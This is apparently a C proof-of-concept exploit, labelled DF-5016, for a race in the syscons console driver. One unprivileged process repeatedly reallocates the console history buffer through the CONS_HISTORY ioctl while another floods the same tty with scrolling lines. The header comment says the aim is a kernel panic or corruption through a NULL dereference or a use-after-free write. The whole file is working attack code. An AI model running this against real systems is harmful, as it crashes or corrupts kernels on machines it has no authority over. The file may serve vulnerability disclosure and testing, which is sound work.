DF-5015 / race5016.c
/* * DF-5016 PoC -- syscons history realloc vs scroll-append race. * * proc A (unpriv, console-seat fd): loops CONS_HISTORY 25 <-> 250. * Each ioctl runs sc_alloc_history_buffer(): sets scp->history=NULL, * allocates a new ring, then sc_vtb_destroy+kfree()s the old one. * proc B (unpriv): writes scrolling lines to the same tty; every * scrolled line runs sc_term_gen_scroll() -> sc_hist_save_one_line() * -> sc_vtb_append(&scp->vtb, 0, scp->history, xsize) on the * console/putk path, which holds syscons_lock but NOT vga_token. * * Race outcomes: NULL deref (history==NULL window) or UAF write into * the just-freed ring. Success criterion: kernel panic / corruption. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/consio.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NOBODY 65534 static void drop(void) { if (setgid(NOBODY) || setuid(NOBODY)) { perror("setuid"); exit(1); } } static int openvty(void) { char path[32]; int fd; snprintf(path, sizeof(path), "/dev/ttyv0"); fd = open(path, O_RDWR | O_NOCTTY); if (fd < 0) { perror("open ttyv0"); exit(1); } drop(); return fd; } int main(int argc, char **argv) { int fd, lines, i; char row[128]; if (argc < 2) return 64; fd = openvty(); if (!strcmp(argv[1], "realloc")) { long n = 0; for (;;) { lines = 25; if (ioctl(fd, CONS_HISTORY, &lines)) fprintf(stderr, "H25: %s\n", strerror(errno)); lines = 250; if (ioctl(fd, CONS_HISTORY, &lines)) fprintf(stderr, "H250: %s\n", strerror(errno)); n++; if ((n & 0x3ff) == 0) { printf("realloc: %ld iters\n", n); fflush(stdout); } } } if (!strcmp(argv[1], "scroll")) { memset(row, 'S', 80); row[78] = '\r'; row[79] = '\n'; for (;;) { for (i = 0; i < 500; i++) if (write(fd, row, 80) != 80) perror("write"); usleep(1000); } } return 0; } |